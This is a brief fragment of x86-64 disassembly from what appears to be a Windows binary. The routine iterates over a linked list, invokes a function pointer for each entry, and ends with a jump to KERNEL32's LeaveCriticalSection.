mov rsi, rax
call rdi
test rsi, rsi
je 0x2277b6513
test eax, eax
jne 0x2277b6513
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2277b64f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]